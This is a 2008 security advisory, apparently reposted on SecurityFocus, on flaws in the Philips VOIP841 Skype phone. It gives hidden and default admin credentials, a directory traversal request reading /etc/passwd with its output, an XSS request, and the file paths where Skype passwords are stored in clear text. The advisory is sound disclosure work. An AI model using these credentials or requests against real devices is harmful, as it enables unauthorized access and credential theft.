Philips VOIP841 Multiple Vulnerabilities Feb 14 2008 08:36AM
luca carettoni securenetwork it
Secure Network - Security Research Advisory

Vuln name: Philips VOIP841 Multiple Vulnerabilities

Systems affected: Philips VOIP841, Firmware Version and, Web Server Version 1.5 (simple httpd)

Systems not affected: n/a

Severity: High

Local/Remote: Remote

Vendor URL:

Author(s): Luca "ikki" Carettoni - luca.carettoni (at) securenetwork (dot) it [email concealed]

Vendor disclosure: 23rd January 2008

Vendor acknowledged: -

Vendor patch release: -

Public disclosure: 14th February 2008

Advisory number: SN-2008-01

Advisory URL:,

*** SUMMARY ***

VOIP841 is one of the first DECT cordless phones with an embedded Skype client.

Without a computer, it is possible to call directly other Skype users or international numbers using SkypeOut

as well as the regular PSTN line. It is important to notice that it is Skype Certified and presented as a best seller

on the "Skype Shop" online.

Multiple vulnerabilities have been found in the latest version of this VOIP phone, ranging from an hidden administration

account to XSS and directory traversal. Various consequences are associated with these issues, such as theft

of Skype authentication credentials stored in the phone and information disclosure.

In order to exploit some vulnerabilities, a regular user should be authenticated.

However, using the hidden administration account it is possible to easily bypass this security mechanism.


(a) Hidden Administration Account

The device provides a comfortable web management console, protected with a basic HTML Authentication.

The default account is set to "Philips:voip841".

We discovered an hidden administration account which is probably used during technical remote assistance.

In the file "/var/cnxt/service", there is the BASE64 string "c2VydmljZTpzZXJ2aWNl" which represents

the account "service:service".

Using these credentials it is possible to login into the web administration console with admin privileges.

The previous user enables also a "secret" tab called [Change MAC Address] where it is possible (as the name implies)

to change the hardware address of the network interface.

(b) Directory Listing, Directory Traversal

The embedded webserver doesn't sanitize any kind of user input. The directory listing option is also enabled.

Using the previous account it is possible to browse every directory on the device and to retrieve the content

of any file with a simple HTTP request.

Let's see a self explaining example:

jungle ikki $ telnet 80


Connected to

Escape character is '^]'.

GET /../../../../../../../../etc/passwd HTTP/1.0


Authorization: Basic c2VydmljZTpzZXJ2aWNl

HTTP/1.0 200 OK

Content-type: text/plain

Expires: Sat, 24 May 1980.7:00:00.GMT

Pragma: no-cache

Server: simple httpd 1.0


demo:x:5000:100:Demo User:/home/demo:/bin/bash


Connection closed by foreign host.

(c) Cross Site Scripting (XSS)

Due to the absence of input filters it is possible to inject scripting code inside the 404 standard response page.

In this way it is possible to trigger XSS attacks with a simple HTTP request like the following:

GET /var/htdocs/<script>alert("XSS");</script> HTTP/1.0


<html><head><title>404 File Not Found</title></head>


httpd server: The requested URL '/var/htdocs/<script>alert("XSS");</script>' was not found on this server.


(d) Insecure Storage

Browsing the device filesystem, we have noticed the presence of sensitive information stored in an insecure way.

Just to show the possible risks, we report the possibility to retrieve Skype credentials used by the device

and inserted by the user during the configuration process.

In the file "/var/jffs2/data/save.dat", the embedded Skype client stores temporary information such as

the Skype account (username and password) in clear text.

Another issue is related to the change password procedure for the web management console: every operation

done on the web console is logged on a temporary file present in the directory "/tmp".

When an administrator changes the web authentication password, the old and the new values are revealed into

the file "apply.log" generated by the cgi-bin called "apply".

###### CUT HERE ######

<22:02:11.940000> apply cgi start...

<22:02:11.940000> Content length : 64

<22:02:11.940000> btn_action=admin&edit_pwd1=ikki&edit_pwd2=ikki&rb_defaults=rb_no

<22:02:11.940000> 0 : [btn_action] = [admin]

<22:02:11.940000> 1 : [edit_pwd1] = [ikki]

<22:02:11.940000> 2 : [edit_pwd2] = [ikki]

<22:02:11.940000> 3 : [rb_defaults] = [rb_no]

<22:02:11.940000> Action : [4] admin

<22:02:11.940000> OldUser:philips:voip841

<22:02:11.940000> NewUser:ikki

<22:02:11.940000> Encoded:philips:ikki

###### CUT HERE ######

*** EXPLOIT ***

Attackers may exploit these issues through a common browser as explained









Secure Network ( is an information security company,

which provides consulting and training services, and engages in security

research and development.

We are committed to open, full disclosure of vulnerabilities, cooperating

with software developers for properly handling disclosure issues.

This advisory is copyright © 2008 Secure Network S.r.l. Permission is

hereby granted for the redistribution of this alert, provided that it is

not altered except by reformatting it, and that due credit is given. It

may not be edited in any way without the express consent of Secure Network

S.r.l. Permission is explicitly given for insertion in vulnerability

databases and similars, provided that due credit is given to Secure Network

The information in the advisory is believed to be accurate at the time of

publishing based on currently available information. This information is

provided as-is, as a free service to the community by Secure Network

research staff. There are no warranties with regard to this information.

Secure Network does not accept any liability for any direct, indirect,

or consequential loss or damage arising from use of, or reliance on,

this information.

If you have any comments or inquiries, or any issue with what is reported

in this advisory, please inform us as soon as possible.

E-mail: securenetwork (at) securenetwork (dot) it [email concealed]

GPG/PGP key:

Phone: +39 02 24126788

[ reply ]


Privacy Statement
Copyright 2010, SecurityFocus